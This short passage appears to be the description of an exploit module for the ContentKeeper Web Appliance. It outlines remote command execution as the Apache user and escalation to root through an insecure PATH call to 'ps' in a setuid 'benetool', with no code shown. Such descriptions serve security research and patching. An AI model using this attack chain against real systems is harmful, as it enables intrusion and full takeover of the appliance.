|
|
This module exploits the ContentKeeper Web Appliance. Versions prior
|
|
to 125.10 are affected. This module exploits a combination of weaknesses
|
|
to enable remote command execution as the Apache user. Following exploitation
|
|
it is possible to abuse an insecure PATH call to 'ps' etc in setuid 'benetool'
|
|
to escalate to root.
